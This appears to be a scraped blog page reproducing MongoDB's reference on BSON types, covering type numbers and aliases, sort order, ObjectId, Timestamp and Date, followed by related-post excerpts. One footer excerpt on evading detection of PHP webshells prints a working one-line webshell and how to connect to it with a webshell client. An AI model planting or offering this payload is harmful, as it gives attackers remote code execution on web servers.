BSON is a binary serialization format used to store documents and make remote procedure calls in MongoDB. The BSON specification is located at bsonspec.org

BSON supports the following data types as values in documents. Each data type has a corresponding number and string alias that can be used with the $type operator to query documents by BSON type.

Type Number Alias Nodes
 Double  1  “double”  
 String  2  “string”  
 Object  3  “object”  
 Array  4  “array”  
 Binary data  5  “binData”  
 Undefined  6  “undefined”  Deprecated.
 ObjectId  7  “objectId”  
 Boolean  8  “bool”  
 Date  9  “date”  
 Null  10  “null”  
 Regular Expression  11  “regex”  
 DBPointer  12  “dbPointer”  Deprecated.
 JavaScript  13  “javascript”  
 Symbol  14  “symbol”  Deprecated.
 JavaScript (with scope)  15  “javascriptWithScope”  
 32-bit integer  16  “int”  
 Timestamp  17   “timestamp”  
 64-bit integer  18   “long”  
 Min key  -1   “minKey”  
 Max key  127  “maxKey”  

To determine a field’s type, see Check Types in the mongo Shell.

If you convert BSON to JSON, see the Extended JSON reference.

Comparison/Sort Order

When comparing values of different BSON types, MongoDB uses the following comparison order, from lowest to highest:

  1. MinKey (internal type)
  2. Null
  3. Numbers (ints, longs, doubles)
  4. Symbol, String
  5. Object
  6. Array
  7. BinData
  8. ObjectId
  9. Boolean
  10. Date
  11. Timestamp
  12. Regular Expression
  13. MaxKey (internal type)

MongoDB treats some types as equivalent for comparison purposes. For instance, numeric types undergo conversion before comparison.

Changed in version 3.0.0: Date objects sort before Timestamp objects. Previously Date and Timestamp objects sorted together.

The comparison treats a non-existent field as it would an empty BSON Object. As such, a sort on the a field in documents { } and { a: null } would treat the documents as equivalent in sort order.

MongoDB sorts BinData in the following order:

  1. First, the length or size of the data.
  2. Then, by the BSON one-byte subtype.
  3. Finally, by the data, performing a byte-by-byte comparison.

The following sections describe special considerations for particular BSON types.

ObjectId

ObjectIds are small, likely unique, fast to generate, and ordered. ObjectId values consists of 12-bytes, where the first four bytes are a timestamp that reflect the ObjectId’s creation, specifically:

  • a 4-byte value representing the seconds since the Unix epoch,
  • a 3-byte machine identifier,
  • a 2-byte process id, and
  • a 3-byte counter, starting with a random value.

In MongoDB, each document stored in a collection requires a unique _id field that acts as a primary key. If an inserted document omits the _id field, the MongoDB driver automatically generates an ObjectId for the _id field.

This also applies to documents inserted through update operations with upsert: true.

MongoDB clients should add an _id field with a unique ObjectId. Using ObjectIds for the _id field provides the following additional benefits:

  • in the mongo shell, you can access the creation time of the ObjectId, using the ObjectId.getTimestamp() method.

  • sorting on an _id field that stores ObjectId values is roughly equivalent to sorting by creation time.

IMPORTANT: The relationship between the order of ObjectId values and generation time is not strict within a single second. If multiple systems, or multiple processes or threads on a single system generate values, within a single second; ObjectId values do not represent a strict insertion order. Clock skew between clients can also result in non-strict ordering even for values because client drivers generate ObjectId values.

SEE ALSO: ObjectId()

String

BSON strings are UTF-8. In general, drivers for each programming language convert from the language’s string format to UTF-8 when serializing and deserializing BSON. This makes it possible to store most international characters in BSON strings with ease. In addition, MongoDB $regex queries support UTF-8 in the regex string.

Timestamps

BSON has a special timestamp type for internal MongoDB use and is not associated with the regular Date type. Timestamp values are a 64 bit value where:

  • the first 32 bits are a time_t value (seconds since the Unix epoch)
  • the second 32 bits are an incrementing ordinal for operations within a given second.

Within a single mongod instance, timestamp values are always unique.

In replication, the oplog has a ts field. The values in this field reflect the operation time, which uses a BSON timestamp value.

NOTE: The BSON timestamp type is for internal MongoDB use. For most cases, in application development, you will want to use the BSON date type. See Date for more information.

If you insert a document containing an empty BSON timestamp in a top-level field, the MongoDB server will replace that empty timestamp with the current timestamp value. For example, if you create an insert a document with a timestamp value, as in the following operation:

var a = new Timestamp();
db.test.insert( { ts: a } );

Then, the db.test.find() operation will return a document that resembles the following:

{ "_id" : ObjectId("542c2b97bac0595474108b48"), "ts" : Timestamp(1412180887, 1) }

If ts were a field in an embedded document, the server would have left it as an empty timestamp value.

Changed in version 2.6: Previously, the server would only replace empty timestamp values in the first two fields, including _id, of an inserted document. Now MongoDB will replace any top-level field.

Date

BSON Date is a 64-bit integer that represents the number of milliseconds since the Unix epoch (Jan 1, 1970). This results in a representable date range of about 290 million years into the past and future.

The official BSON specification refers to the BSON Date type as the UTC datetime.

BSON Date type is signed. Negative values represent dates before 1970.

Example

Construct a Date using the new Date() constructor in the mongo shell:

var mydate1 = new Date()

Construct a Date using the ISODate() constructor in the mongo shell:

var mydate2 = ISODate()

Return the Date value as string:

mydate1.toString()

Return the month portion of the Date value; months are zero-indexed, so that January is month 0:

mydate1.getMonth()

MongoDB - Introduction to MongoDB, BSON Types的更多相关文章

  1. MongoDB - Introduction to MongoDB, MongoDB Extended JSON

    JSON can only represent a subset of the types supported by BSON. To preserve type information, Mongo ...

  2. MongoDB - Introduction to MongoDB, Documents

    MongoDB stores data records as BSON documents. BSON is a binary representation of JSON documents, th ...

  3. MongoDB - Introduction to MongoDB

    MongoDB is an open-source document database that provides high performance, high availability, and a ...

  4. MongoDB - Introduction to MongoDB, Databases and Collections

    MongoDB stores BSON documents, i.e. data records, in collections; the collections in databases. Data ...

  5. MongoDB - Introduction to MongoDB, Capped Collections

    Overview Capped collections are fixed-size collections that support high-throughput operations that ...

  6. mongoDB操作命令及mongoDB的helper

    此项目已开源,开源地址是: http://mongodbhelper-csharp.googlecode.com/svn/trunk/ mongodb的helper using System; usi ...

  7. mongoDB & Nodejs 访问mongoDB (一)

    最近的毕设需要用到mongoDB数据库,又把它拿出来再学一学,下盘并不是很稳,所以做一些笔记,不然又忘啦. 安装 mongoDB & mongoVUE mongoDB: https://www ...

  8. java操作mongodb & springboot整合mongodb

    简单的研究原生API操作MongoDB以及封装的工具类操作,最后也会研究整合spring之后作为dao层的完整的操作. 1.原生的API操作 pom.xml <!-- https://mvnre ...

  9. PHP使用MongoDB类操作MongoDB数据库总结

    参考:https://www.php.net/manual/zh/class.mongodb-driver-manager.php 参考:https://www.zhaokeli.com/articl ...

随机推荐

  1. ssh使用ajax异步通讯. json与对象转换的几个小问题

    首先是hibernate,用ssh做项目的时候,使用hibernate,这个hibernate博大精深,至今只懂皮毛.建对象时候使用它的一对多,多对多联系,. 这样子,对象转json的时候会产生循环依 ...

  2. HttpMessageConverter用法

    HttpMessageConverter接口定义 * Strategy interface that specifies a converter that can convert from and t ...

  3. API基础开发学习网址

    http://www.cnblogs.com/shanyou/category/307401.html http://www.cnblogs.com/beginor/archive/2012/03/1 ...

  4. Enhancing the Scalability of Memcached

    原文地址: https://software.intel.com/en-us/articles/enhancing-the-scalability-of-memcached-0 1 Introduct ...

  5. 关于php一句话免杀的分析<转载>

    一开始想这样:   <?php $_GET['ts7']($_POST['cmd']);?> 客户端用菜刀,密码cmd,url为test.php?ts7=assert   这个应该算没有什 ...

  6. node搜索codeforces 3A - Shortest path of the king

    发一下牢骚和主题无关: 搜索,最短路都可以     每日一道理 人生是洁白的画纸,我们每个人就是手握各色笔的画师:人生也是一条看不到尽头的长路,我们每个人则是人生道路的远足者:人生还像是一块神奇的土地 ...

  7. Codeforces Gym 100342E Problem E. Minima 暴力

    Problem E. MinimaTime Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/gym/100342/attac ...

  8. web.xml里<filter-mapping>中的<dispatcher>作用

    2.4版本的servlet规范在部属描述符中新增加了一个<dispatcher>元素,这个元素有四个可能的值:即REQUEST,FORWARD,INCLUDE和ERROR,可以在一个< ...

  9. CircleDisplay

    https://github.com/PhilJay/CircleDisplay

  10. [Javascript] Manipulate the DOM with the classList API

    Learn how to add, remove and test for CSS classes using the classList API. It's more powerful than u ...